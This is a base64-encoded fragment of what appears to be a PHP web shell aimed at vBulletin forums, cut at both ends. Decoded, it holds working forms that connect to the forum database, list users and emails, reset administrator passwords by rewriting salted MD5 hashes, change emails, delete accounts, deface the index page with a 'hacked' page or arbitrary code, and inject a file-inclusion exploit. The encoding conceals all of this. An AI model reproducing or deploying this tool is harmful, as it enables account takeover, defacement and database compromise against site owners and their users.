uICR2YnVzZXIgLiAnIjsnOw0KJHJlID0gbXlzcWxfcXVlcnkoJHF1ZXJ5KTsNCmlmICgkcmUpDQp7DQplY2hvICc8Zm9udCBzaXplPTM+PGZvbnQgY29sb3I9eWVsbG93PlRoZSBFLU1BSUwgb2YgdGhlIHVzZXIgPC9mb250Pjxmb250IGNvbG9yPXJlZD4nIC4gJHZidXNlciAuICc8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93PiB3YXMgY2hhbmdlZCB0byA8L2ZvbnQ+PGZvbnQgY29sb3I9cmVkPicgLiAkdmJtYWlsIC4gJzwvZm9udD48YnI+QmFjayB0byA8YSBocmVmPSI/Ij5TaGVsbDwvYT48L2ZvbnQ+JzsNCn0gZWxzZSB7DQplY2hvICc8Zm9udCBzaXplPTM+PGZvbnQgY29sb3I9cmVkPkZhaWxlZCB0byBjaGFuZ2UgRS1NQUlMPC9mb250PjwvZm9udD4nOw0KfQ0KfQ0KaWYoaXNzZXQoJF9QT1NUWydob3N0J10pICYmIGlzc2V0KCRfUE9TVFsndXNlciddKSAmJiBpc3NldCgkX1BPU1RbJ3Bhc3MnXSkgJiYgaXNzZXQoJF9QT1NUWydkYiddKSAmJiAkYWN0PT0icHN3IiAgJiYgaXNzZXQoJF9QT1NUWyd2YnVzZXInXSkgICYmIGlzc2V0KCRfUE9TVFsndmJwYXNzJ10pKQ0Kew0KJGhvc3QgPSAkX1BPU1RbJ2hvc3QnXTsNCiR1c2VyID0gJF9QT1NUWyd1c2VyJ107DQokcGFzcyA9ICRfUE9TVFsncGFzcyddOw0KJGRiID0gJF9QT1NUWydkYiddOw0KJHZidXNlciA9ICRfUE9TVFsndmJ1c2VyJ107DQokdmJwYXNzID0gJF9QT1NUWyd2YnBhc3MnXTsNCm15c3FsX2Nvbm5lY3QoJGhvc3QsJHVzZXIsJHBhc3MpIG9yIGRpZSgnPGZvbnQgY29sb3I9cmVkPk5vcGUsPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz5ObyBjT25uZWN0aW9uIHdpdGggdXNlcjwvZm9udD4nKTsNCm15c3FsX3NlbGVjdF9kYigkZGIpIG9yIGRpZSgnPGZvbnQgY29sb3I9cmVkPk5vcGUsPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz5ObyBjT25uZWN0aW9uIHdpdGggREI8L2ZvbnQ+Jyk7DQppZiAoJHBhc3MgPT0gJycpDQp7DQokbnBhc3MgPSAnTlVMTCc7DQp9IGVsc2Ugew0KJG5wYXNzID0gJHBhc3M7DQp9DQplY2hvJzxmb250IHNpemU9Mz5Zb3UgYXJlIGNvbm5lY3RlZCB3aXRoIHRoZSBteXNxbCBzZXJ2ZXIgb2YgPGZvbnQgY29sb3I9eWVsbG93PicgLiAkaG9zdCAuICc8L2ZvbnQ+IGJ5IHVzZXIgOiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICR1c2VyIC4gJzwvZm9udD4gLCBwYXNzIDogPGZvbnQgY29sb3I9eWVsbG93PicgLiAkbnBhc3MgLiAnPC9mb250PiBhbmQgc2VsZWN0ZWQgREIgd2l0aCB0aGUgbmFtZSA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRkYiAuICc8L2ZvbnQ+PC9mb250Pic7DQo/Pg0KPGhyIGNvbG9yPSIjMDBGRjAwIiAvPg0KPD8NCiRxdWVyeSA9ICdzZWxlY3QgKiBmcm9tIHVzZXIgd2hlcmUgdXNlcm5hbWU9IicgLiAkdmJ1c2VyIC4gJyI7JzsNCiRyZXN1bHQgPSBteXNxbF9xdWVyeSgkcXVlcnkpOw0Kd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSkNCnsNCiRzYWx0ID0gJHJvd1snc2FsdCddOw0KJHggPSBtZDUoJHZicGFzcyk7DQokeCA9JHggLiAkc2FsdDsNCiRwYXNzX3NhbHQgPSBtZDUoJHgpOw0KJHF1ZXJ5ID0gJ3VwZGF0ZSB1c2VyIHNldCBwYXNzd29yZD0iJyAuICRwYXNzX3NhbHQgLiAnIiB3aGVyZSB1c2VybmFtZT0iJyAuICR2YnVzZXIgLiAnIjsnOw0KJHJlID0gbXlzcWxfcXVlcnkoJHF1ZXJ5KTsNCmlmICgkcmUpDQp7DQplY2hvICc8Zm9udCBzaXplPTM+PGZvbnQgY29sb3I9eWVsbG93PlRoZSBwYXNzIG9mIHRoZSB1c2VyIDwvZm9udD48Zm9udCBjb2xvcj1yZWQ+JyAuICR2YnVzZXIgLiAnPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz4gd2FzIGNoYW5nZWQgdG8gPC9mb250Pjxmb250IGNvbG9yPXJlZD4nIC4gJHZicGFzcyAuICc8L2ZvbnQ+PGJyPkJhY2sgdG8gPGEgaHJlZj0iPyI+U2hlbGw8L2E+PC9mb250Pic7DQp9IGVsc2Ugew0KZWNobyAnPGZvbnQgc2l6ZT0zPjxmb250IGNvbG9yPXJlZD5GYWlsZWQgdG8gY2hhbmdlIFBhc3NXb3JkPC9mb250PjwvZm9udD4nOw0KfQ0KfQ0KfQ0KaWYoaXNzZXQoJF9QT1NUWydob3N0J10pICYmIGlzc2V0KCRfUE9TVFsndXNlciddKSAmJiBpc3NldCgkX1BPU1RbJ3Bhc3MnXSkgJiYgaXNzZXQoJF9QT1NUWydkYiddKSAmJiAkYWN0PT0ibG9naW4iKQ0Kew0KJGhvc3QgPSAkX1BPU1RbJ2hvc3QnXTsNCiR1c2VyID0gJF9QT1NUWyd1c2VyJ107DQokcGFzcyA9ICRfUE9TVFsncGFzcyddOw0KJGRiID0gJF9QT1NUWydkYiddOw0KbXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlciwkcGFzcykgb3IgZGllKCc8Zm9udCBjb2xvcj1yZWQ+Tm9wZSw8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93Pk5vIGNPbm5lY3Rpb24gd2l0aCB1c2VyPC9mb250PicpOw0KbXlzcWxfc2VsZWN0X2RiKCRkYikgb3IgZGllKCc8Zm9udCBjb2xvcj1yZWQ+Tm9wZSw8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93Pk5vIGNPbm5lY3Rpb24gd2l0aCBEQjwvZm9udD4nKTsNCmlmICgkcGFzcyA9PSAnJykNCnsNCiRucGFzcyA9ICdOVUxMJzsNCn0gZWxzZSB7DQokbnBhc3MgPSAkcGFzczsNCn0NCmVjaG8nPGZvbnQgc2l6ZT0zPllvdSBhcmUgY29ubmVjdGVkIHdpdGggdGhlIG15c3FsIHNlcnZlciBvZiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRob3N0IC4gJzwvZm9udD4gYnkgdXNlciA6IDxmb250IGNvbG9yPXllbGxvdz4nIC4gJHVzZXIgLiAnPC9mb250PiAsIHBhc3MgOiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRucGFzcyAuICc8L2ZvbnQ+IGFuZCBzZWxlY3RlZCBEQiB3aXRoIHRoZSBuYW1lIDxmb250IGNvbG9yPXllbGxvdz4nIC4gJGRiIC4gJzwvZm9udD48L2ZvbnQ+JzsNCj8+DQo8aHIgY29sb3I9IiMwMEZGMDAiIC8+DQo8Zm9ybSBuYW1lPSJjaGFuZ2VwYXNzIiBhY3Rpb249Ij9hY3Q9cHN3IiBtZXRob2Q9InBvc3QiPg0KPHRhYmxlIGJvcmRlcj0iMSIgYmdjb2xvcj0iIzAwMDAwMCIgYm9yZGVyY29sb3I9ImxpbWUiDQpib3JkZXJjb2xvcmRhcms9ImxpbWUiIGJvcmRlcmNvbG9ybGlnaHQ9ImxpbWUiPg0KPHRoPjo6Ojo6Q2hhbmdlIFVzZXIgUGFzc3dvcmQ6Ojo6OjwvdGg+PHRoPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9IkNoYW5nZSIgdmFsdWU9IkNoYW5nZSIgLz48L3RoPg0KPHRyPjx0ZD5Vc2VyIDogPC90ZD48dGQ+PGlucHV0IG5hbWU9InZidXNlciIgdmFsdWU9ImFkbWluIiAvPjwvdGQ+PC90cj4NCjx0cj48dGQ+UGFzcyA6IDwvdGQ+PHRkPjxpbnB1dCBuYW1lPSJ2YnBhc3MiIHZhbHVlPSJlZ3kgc3BpZGVyIiAvPjwvdGQ+PC90cj4NCjwvdGFibGU+DQo8Pw0KZWNobyc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJob3N0IiB2YWx1ZT0iJyAuICRob3N0IC4gJyI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idXNlciIgdmFsdWU9IicgLiAkdXNlciAuICciPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhc3MiIHZhbHVlPSInIC4gJHBhc3MgLiAnIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkYiIgdmFsdWU9IicgLiAkZGIgLiAnIj4nOw0KPz4NCjwvZm9ybT4NCjxociBjb2xvcj0iIzAwRkYwMCIgLz4NCjxmb3JtIG5hbWU9ImNoYW5nZXBhc3MiIGFjdGlvbj0iP2FjdD1tYWlsIiBtZXRob2Q9InBvc3QiPg0KPHRhYmxlIGJvcmRlcj0iMSIgYmdjb2xvcj0iIzAwMDAwMCIgYm9yZGVyY29sb3I9ImxpbWUiDQpib3JkZXJjb2xvcmRhcms9ImxpbWUiIGJvcmRlcmNvbG9ybGlnaHQ9ImxpbWUiPg0KPHRoPjo6Ojo6Q2hhbmdlIFVzZXIgRS1NQUlMOjo6Ojo8L3RoPjx0aD48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJDaGFuZ2UiIHZhbHVlPSJDaGFuZ2UiIC8+PC90aD4NCjx0cj48dGQ+VXNlciA6IDwvdGQ+PHRkPjxpbnB1dCBuYW1lPSJ2YnVzZXIiIHZhbHVlPSJhZG1pbiIgLz48L3RkPjwvdHI+DQo8dHI+PHRkPk1BSUwgOiA8L3RkPjx0ZD48aW5wdXQgbmFtZT0idmJtYWlsIiB2YWx1ZT0iZWd5X3NwaWRlckBob3RtYWlsLmNvbSIgLz48L3RkPjwvdHI+DQo8L3RhYmxlPg0KPD8NCmVjaG8nPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iaG9zdCIgdmFsdWU9IicgLiAkaG9zdCAuICciPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InVzZXIiIHZhbHVlPSInIC4gJHVzZXIgLiAnIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXNzIiB2YWx1ZT0iJyAuICRwYXNzIC4gJyI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZGIiIHZhbHVlPSInIC4gJGRiIC4gJyI+JzsNCj8+DQo8L2Zvcm0+DQo8aHIgY29sb3I9IiMwMEZGMDAiIC8+DQo8Zm9ybSBuYW1lPSJjaGFuZ2VwYXNzIiBhY3Rpb249Ij9hY3Q9ZGVsIiBtZXRob2Q9InBvc3QiPg0KPHRhYmxlIGJvcmRlcj0iMSIgYmdjb2xvcj0iIzAwMDAwMCIgYm9yZGVyY29sb3I9ImxpbWUiDQpib3JkZXJjb2xvcmRhcms9ImxpbWUiIGJvcmRlcmNvbG9ybGlnaHQ9ImxpbWUiPg0KPHRoPjo6Ojo6RGVsZXRlIGEgdXNlcjo6Ojo6PC90aD48dGg+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iQ2hhbmdlIiB2YWx1ZT0iQ2hhbmdlIiAvPjwvdGg+DQo8dHI+PHRkPlVzZXIgOiA8L3RkPjx0ZD48aW5wdXQgbmFtZT0idmJ1c2VyIiB2YWx1ZT0iYWRtaW4iIC8+PC90ZD48L3RyPg0KPC90YWJsZT4NCjw/DQplY2hvJzxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Imhvc3QiIHZhbHVlPSInIC4gJGhvc3QgLiAnIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ1c2VyIiB2YWx1ZT0iJyAuICR1c2VyIC4gJyI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGFzcyIgdmFsdWU9IicgLiAkcGFzcyAuICciPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImRiIiB2YWx1ZT0iJyAuICRkYiAuICciPic7DQo/Pg0KPC9mb3JtPg0KPGhyIGNvbG9yPSIjMDBGRjAwIiAvPg0KPGZvcm0gbmFtZT0iY2hhbmdlcGFzcyIgYWN0aW9uPSI/YWN0PWluYyIgbWV0aG9kPSJwb3N0Ij4NCjx0YWJsZSBib3JkZXI9IjEiIGJnY29sb3I9IiMwMDAwMDAiIGJvcmRlcmNvbG9yPSJsaW1lIg0KYm9yZGVyY29sb3JkYXJrPSJsaW1lIiBib3JkZXJjb2xvcmxpZ2h0PSJsaW1lIj4NCjx0aD46Ojo6OkNoYW5nZSBJbmRleCBieSBJbmNsdXNpb24oTm90IFBMKEVnWSBTcElkRXIpKTo6Ojo6PC90aD48dGg+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iQ2hhbmdlIiB2YWx1ZT0iQ2hhbmdlIiAvPjwvdGg+DQo8dHI+PHRkPkluZGV4IExpbmsgOiA8L3RkPjx0ZD48aW5wdXQgbmFtZT0ibGluayIgdmFsdWU9Imh0dHA6Ly93d3cuZWd5c3BpZGVyLmV1L2hhY2tlZC5odG1sIiAvPjwvdGQ+PC90cj4NCjwvdGFibGU+DQo8Pw0KZWNobyc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJob3N0IiB2YWx1ZT0iJyAuICRob3N0IC4gJyI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idXNlciIgdmFsdWU9IicgLiAkdXNlciAuICciPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhc3MiIHZhbHVlPSInIC4gJHBhc3MgLiAnIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkYiIgdmFsdWU9IicgLiAkZGIgLiAnIj4nOw0KPz4NCjwvZm9ybT4NCjxociBjb2xvcj0iIzAwRkYwMCIgLz4NCjxmb3JtIG5hbWU9ImNoYW5nZXBhc3MiIGFjdGlvbj0iP2FjdD1jb2RlIiBtZXRob2Q9InBvc3QiPg0KPHRhYmxlIGJvcmRlcj0iMSIgYmdjb2xvcj0iIzAwMDAwMCIgYm9yZGVyY29sb3I9ImxpbWUiDQpib3JkZXJjb2xvcmRhcms9ImxpbWUiIGJvcmRlcmNvbG9ybGlnaHQ9ImxpbWUiPg0KPHRoPjo6Ojo6Q2hhbmdlIEluZGV4IGJ5IENvZGUoQWxsIEVkaXRpb24pOjo6Ojo8L3RoPjx0aD48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJDaGFuZ2UiIHZhbHVlPSJDaGFuZ2UiIC8+PC90aD4NCjx0cj48dGQ+SW5kZXggQ29kZSA6IDwvdGQ+PHRkPjx0ZXh0YXJlYSBuYW1lPSJjb2RlIiBjb2xzPTYwIHJvd3M9MjA+PC90ZXh0YXJlYT48L3RkPjwvdHI+DQo8L3RhYmxlPg0KPD8NCmVjaG8nPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iaG9zdCIgdmFsdWU9IicgLiAkaG9zdCAuICciPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InVzZXIiIHZhbHVlPSInIC4gJHVzZXIgLiAnIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXNzIiB2YWx1ZT0iJyAuICRwYXNzIC4gJyI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZGIiIHZhbHVlPSInIC4gJGRiIC4gJyI+JzsNCj8+DQo8L2Zvcm0+DQo8aHIgY29sb3I9IiMwMEZGMDAiIC8+DQo8Zm9ybSBuYW1lPSJjaGFuZ2VwYXNzIiBhY3Rpb249Ij9hY3Q9c2hlbGwiIG1ldGhvZD0icG9zdCI+DQo8dGFibGUgYm9yZGVyPSIxIiBiZ2NvbG9yPSIjMDAwMDAwIiBib3JkZXJjb2xvcj0ibGltZSINCmJvcmRlcmNvbG9yZGFyaz0ibGltZSIgYm9yZGVyY29sb3JsaWdodD0ibGltZSI+DQo8dGg+Ojo6OjpJbmplY3QgRmlsZUluY2x1c2lvbiBFeHBsb2l0KE5PVCBQTChBTC1NQVNTWUEpKTo6Ojo6PC90aD48dGg+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iQ2hhbmdlIiB2YWx1ZT0iQ2hhbmdlIiAvPjwvdGg+DQo8dHI+PHRkPlZhcmlhYmxlIDogPC90ZD48dGQ+PGlucHV0IG5hbWU9InZhciIgdmFsdWU9InNoZWxsIiAvPjwvdGQ+PC90cj4NCjwvdGFibGU+DQo8Pw0KZWNobyc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJob3N0IiB2YWx1ZT0iJyAuICRob3N0IC4gJyI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idXNlciIgdmFsdWU9IicgLiAkdXNlciAuICciPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhc3MiIHZhbHVlPSInIC4gJHBhc3MgLiAnIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkYiIgdmFsdWU9IicgLiAkZGIgLiAnIj4nOw0KPz4NCjwvZm9ybT4NCjw/DQp9DQppZiAoJGFjdCA9PSAnJyl7DQo/Pg0KPGZvcm0gbmFtZT0ibXlmb3JtIiBhY3Rpb249Ij9hY3Q9bG9naW4iIG1ldGhvZD0icG9zdCI+DQo8dGFibGUgYm9yZGVyPSIxIiBiZ2NvbG9yPSIjMDAwMDAwIiBib3JkZXJjb2xvcj0ibGltZSINCmJvcmRlcmNvbG9yZGFyaz0ibGltZSIgYm9yZGVyY29sb3JsaWdodD0ibGltZSI+DQo8dGg+Ojo6OjpEQVRBQkFTRSBDT05GSUc6Ojo6OjwvdGg+PHRoPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9IkNvbm5lY3QiIHZhbHVlPSJDb25uZWN0IiAvPjwvdGg+PHRyPjx0ZD5Ib3N0IDogPC90ZD48dGQ+PGlucHV0IG5hbWU9Imhvc3QiIHZhbHVlPSJsb2NhbGhvc3QiIC8+PC90ZD48L3RyPg0KPHRyPjx0ZD5Vc2VyIDogPC90ZD48dGQ+PGlucHV0IG5hbWU9InVzZXIiIHZhbHVlPSJyb290IiAvPjwvdGQ+PC90cj4NCjx0cj48dGQ+UGFzcyA6IDwvdGQ+PHRkPjxpbnB1dCBuYW1lPSJwYXNzIiB2YWx1ZT0iIiAvPjwvdGQ+PC90cj4NCjx0cj48dGQ+TmFtZSA6IDwvdGQ+PHRkPjxpbnB1dCBuYW1lPSJkYiIgdmFsdWU9InZiIiAvPjwvdGQ+PC90cj4NCjwvdGFibGU+DQo8L2Zvcm0+DQoNCjw/DQp9DQppZiAoJGFjdCA9PSAnbHN0JyAmJiBpc3NldCgkX1BPU1RbJ3VzZXInXSkgJiYgaXNzZXQoJF9QT1NUWydwYXNzJ10pICYmIGlzc2V0KCRfUE9TVFsnaG9zdCddKSAmJiBpc3NldCgkX1BPU1RbJ2RiJ10pKQ0Kew0KJGhvc3QgPSAkX1BPU1RbJ2hvc3QnXTsNCiR1c2VyID0gJF9QT1NUWyd1c2VyJ107DQokcGFzcyA9ICRfUE9TVFsncGFzcyddOw0KJGRiID0gJF9QT1NUWydkYiddOw0KbXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlciwkcGFzcykgb3IgZGllKCc8Zm9udCBjb2xvcj1yZWQ+Tm9wZSw8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93Pk5vIGNPbm5lY3Rpb24gd2l0aCB1c2VyPC9mb250PicpOw0KbXlzcWxfc2VsZWN0X2RiKCRkYikgb3IgZGllKCc8Zm9udCBjb2xvcj1yZWQ+Tm9wZSw8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93Pk5vIGNPbm5lY3Rpb24gd2l0aCBEQjwvZm9udD4nKTsNCmlmICgkcGFzcyA9PSAnJykNCnsNCiRucGFzcyA9ICdOVUxMJzsNCn0gZWxzZSB7DQokbnBhc3MgPSAkcGFzczsNCn0NCmVjaG8nPGZvbnQgc2l6ZT0zPllvdSBhcmUgY29ubmVjdGVkIHdpdGggdGhlIG15c3FsIHNlcnZlciBvZiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRob3N0IC4gJzwvZm9udD4gYnkgdXNlciA6IDxmb250IGNvbG9yPXllbGxvdz4nIC4gJHVzZXIgLiAnPC9mb250PiAsIHBhc3MgOiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRucGFzcyAuICc8L2ZvbnQ+IGFuZCBzZWxlY3RlZCBEQiB3aXRoIHRoZSBuYW1lIDxmb250IGNvbG9yPXllbGxvdz4nIC4gJGRiIC4gJzwvZm9udD48L2ZvbnQ+JzsNCj8+DQo8aHIgY29sb3I9IiMwMEZGMDAiIC8+DQo8Pw0KJHJlID0gbXlzcWxfcXVlcnkoJ3NlbGVjdCAqIGZyb20gdXNlcicpOw0KZWNobyc8dGFibGUgYm9yZGVyPSIxIiBiZ2NvbG9yPSIjMDAwMDAwIiBib3JkZXJjb2xvcj0ibGltZSINCmJvcmRlcmNvbG9yZGFyaz0ibGltZSIgYm9yZGVyY29sb3JsaWdodD0ibGltZSI+PHRoPklEPC90aD48dGg+VVNFUk5BTUU8L3RoPjx0aD5FTUFJTDwvdGg+JzsNCndoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlKSkNCnsNCmVjaG8nPHRyPjx0ZD4nIC4gJHJvd1sndXNlcmlkJ10gLiAnPC90ZD48dGQ+JyAuICRyb3dbJ3VzZXJuYW1lJ10gLiAnPC90ZD48dGQ+JyAuICRyb3dbJ2VtYWlsJ10gLiAnPC90ZD48L3RyPic7DQp9DQplY2hvJzwvdGFibGU+JzsNCj8+DQo8dGFibGUgYm9yZGVyPSIxIiBiZ2NvbG9yPSIjMDAwMDAwIiBib3JkZXJjb2xvcj0ibGltZSINCmJvcmRlcmNvbG9yZGFyaz0ibGltZSIgYm9yZGVyY29sb3JsaWdodD0ibGltZSI+PHRoPjw/DQokY291bnQgPSBteXNxbF9udW1fcm93cygkcmUpOw0KZWNobyAnTnVtYmVyIG9mIHVzZXJzIHJlZ2lzdGVyZWQgaXMgOiBbICcgLiAkY291bnQgLiAnIF0nOw0KID8+PC90aD48L3RhYmxlPg0KPD8NCn0NCmlmICgkYWN0ID09ICd1c2Vycycpew0KPz4NCiA8Zm9ybSBuYW1lPSJteWZvcm0iIGFjdGlvbj0iP2FjdD1sc3QiIG1ldGhvZD0icG9zdCI+DQo8dGFibGUgYm9yZGVyPSIxIiBiZ2NvbG9yPSIjMDAwMDAwIiBib3JkZXJjb2xvcj0ibGltZSINCmJvcmRlcmNvbG9yZGFyaz0ibGltZSIgYm9yZGVyY29sb3JsaWdodD0ibGltZSI+DQo8dGg+Ojo6OjpEQVRBQkFTRSBDT05GSUc6Ojo6OjwvdGg+PHRoPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9IkNvbm5lY3QiIHZhbHVlPSJDb25uZWN0IiAvPjwvdGg+PHRyPjx0ZD5Ib3N0IDogPC90ZD48dGQ+PGlucHV0IG5hbWU9Imhvc3QiIHZhbHVlPSJsb2NhbGhvc3QiIC8+PC90ZD48L3RyPg0KPHRyPjx0ZD5Vc2VyIDogPC90ZD48dGQ+PGlucHV0IG5hbWU9InVzZXIiIHZhbHVlPSJyb290IiAvPjwvdGQ+PC90cj4NCjx0cj48dGQ+UGFzcyA6IDwvdGQ+PHRkPjxpbnB1dCBuYW1lPSJwYXNzIiB2YWx1ZT0iIiAvPjwvdGQ+PC90cj4NCjx0cj48dGQ+TmFtZSA6IDwvdGQ+PHRkPjxpbnB1dCBuYW1lPSJkYiIgdmFsdWU9InZiIiAvPjwvdGQ+PC90cj4NCjwvdGFibGU+DQo8L2Zvcm0+DQo8Pw0KfQ0KaWYgKCRhY3Q9PSdjb25maWcnKQ0Kew0KPz4NCjxmb3JtIG5hbWU9Im15Zm9ybSIgYWN0aW9uPSI/YWN0PXJlY29uZmlnIiBtZXRob2Q9InBvc3QiPg0KPHRhYmxlIGJvcmRlcj0iMSIgYmdjb2xvcj0iIzAwMDAwMCIgYm9yZGVyY29sb3I9ImxpbWUiDQpib3JkZXJjb2xvcmRhcms9ImxpbWUiIGJvcmRlcmNvbG9ybGlnaHQ9ImxpbWUiPg0KPHRoPjo6Ojo6Q09ORklHIFBBVEg6Ojo6OjwvdGg+PHRoPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9IkNvbm5lY3QiIHZhbHVlPSJSZWFkIiAvPjwvdGg+DQo8dHI+PHRkPlBBVEggOiA8L3RkPjx0ZD48aW5wdXQgbmFtZT0icGF0aCIgdmFsdWU9Ii9ob21lL2hhY2tlZC9wdWJsaWNfaHRtbC92Yi9pbmNsdWRlcy9jb25maWcucGhwIiAvPjwvdGQ+PC90cj48L3RhYmxlPjwvZm9ybT4NCjw/DQp9DQppZiAoJGFjdD09J2luZGV4JykNCnsNCi8vIEluZGV4IEVkaXRvcjxIVE1MIEVkaXRvcj4NCj8+DQo8c2NyaXB0IGxhbmd1YWdlPSdqYXZhc2NyaXB0Jz4NCmZ1bmN0aW9uIGxpbmsoKXsNCnZhciBYID0gcHJvbXB0KCJFbnRlclRleHQiLCIiKQ0KaWYgKFg9PSIiIHwgWD09bnVsbCApIHsNCnJldHVybjsNCn0NCnZhciB5ID0gcHJvbXB0KCJFbnRlcmxpbmsiLCIiKQ0KaWYgKHk9PSIiIHwgeT09bnVsbCApIHsNCnJldHVybjsNCn0NCg0KaW5kZXhmb3JtLmluZGV4LnZhbHVlPWluZGV4Zm9ybS5pbmRleC52YWx1ZSArICI8YSBocmVmPSIgKyB5ICsiPiIrWCsiPC9hPiI7DQoNCn0NCg0KZnVuY3Rpb24gcmlnaHQoKXsNCnZhciBYID0gcHJvbXB0KCJFbnRlciBUZXh0IiwiIikNCmlmIChYPT0iIiB8IFg9PW51bGwgKSB7DQpyZXR1cm47DQp9DQppbmRleGZvcm0uaW5kZXgudmFsdWU9aW5kZXhmb3JtLmluZGV4LnZhbHVlICsgIjxwIGFsaWduPSdyaWdodCc+IitYKyI8L3A+IjsNCg0KfQ0KZnVuY3Rpb24gbGVmdCgpew0KdmFyIFggPSBwcm9tcHQoIkVudGVyIFRleHQiLCIiKQ0KaWYgKFg9PSIiIHwgWD09bnVsbCApIHsNCnJldHVybjsNCn0NCmluZGV4Zm9ybS5pbmRleC52YWx1ZT1pbmRleGZvcm0uaW5kZXgudmFsdWUgKyAiPHAgYWxpZ249J2xlZnQnPiIrWCsiPC9wPiI7DQoNCn0NCmZ1bmN0aW9uIGNlbnRlcigpew0KdmFyIFggPSBwcm9tcHQoIkVudGVyIFRleHQiLCIiKQ0KaWYgKFg9PSIiIHwgWD09bnVsbCApIHsNCnJldHVybjsNCn0NCmluZGV4Zm9ybS5pbmRleC52YWx1ZT1pbmRleGZvcm0uaW5kZXgudmFsdWUgKyAiPGNlbnRlcj4iK1grIjwvY2VudGVyPiI7DQoNCn0NCmZ1bmN0aW9uIGNvbG91cigpew0KdmFyIFggPSBwcm9tcHQoIkVudGVyVGV4dCIsIiIpDQppZiAoWD09IiIgfCBYPT1udWxsICkgew0KcmV0dXJuOw0KfQ0KdmFyIHkgPSBwcm9tcHQoIkVudGVyQ29sb3VyIiwiIikNCmlmICh5PT0iIiB8IHk9PW51bGwgKSB7DQpyZXR1cm47DQp9DQoNCmluZGV4Zm9ybS5pbmRleC52YWx1ZT1pbmRleGZvcm0uaW5kZXgudmFsdWUgKyAiPGZvbnQgY29sb3I9IiArIHkgKyI+IitYKyI8L2ZvbnQ+IjsNCg0KfQ0KZnVuY3Rpb24gYigpew0KdmFyIFggPSBwcm9tcHQoIkVudGVyIFRleHQiLCIiKQ0KaWYgKFg9PSIiIHwgWD09bnVsbCApIHsNCnJldHVybjsNCn0NCmluZGV4Zm9ybS5pbmRleC52YWx1ZT1pbmRleGZvcm0uaW5kZXgudmFsdWUgKyAiPEI+IitYKyI8L0I+IjsNCg0KfQ0KZnVuY3Rpb24gdSgpew0KdmFyIFggPSBwcm9tcHQoIkVudGVyIFRleHQiLCIiKQ0KaWYgKFg9PSIiIHwgWD09bnVsbCApIHsNCnJldHVybjsNCn0NCmluZGV4Zm9ybS5pbmRleC52YWx1ZT1pbmRleGZvcm0uaW5kZXgudmFsdWUgKyAiPFU+IitYKyI8L1U+IjsNCg0KfQ0KZnVuY3Rpb24gaSgpew0KdmFyIFggPSBwcm9tcHQoIkVudGVyIFRleHQiLCIiKQ0KaWYgKFg9PSIiIHwgWD09bnVsbCApIHsNCnJldHVybjsNCn0NCmluZGV4Zm9ybS5pbmRleC52YWx1ZT1pbmRleGZvcm0uaW5kZXgudmFsdWUgKyAiPEk+IitYKyI8L0k+IjsNCg0KfQ0KZnVuY3Rpb24gbWFyKCl7DQp2YXIgWCA9IHByb21wdCgiRW50ZXIgVGV4dCIsIiIpDQppZiAoWD09IiIgfCBYPT1udWxsICkgew0KcmV0dXJuOw0KfQ0KaW5kZXhmb3JtLmluZGV4LnZhbHVlPWluZGV4Zm9ybS5pbmRleC52YWx1ZSArICI8bWFycXVlZT4iK1grIjwvbWFycXVlZT4iOw0KDQp9DQpmdW5jdGlvbiBpbWcoKXsNCnZhciBYID0gcHJvbXB0KCJFbnRlciBsaW5rIiwiIikNCmlmIChYPT0iIiB8IFg9PW51bGwgKSB7DQpyZXR1cm47DQp9DQ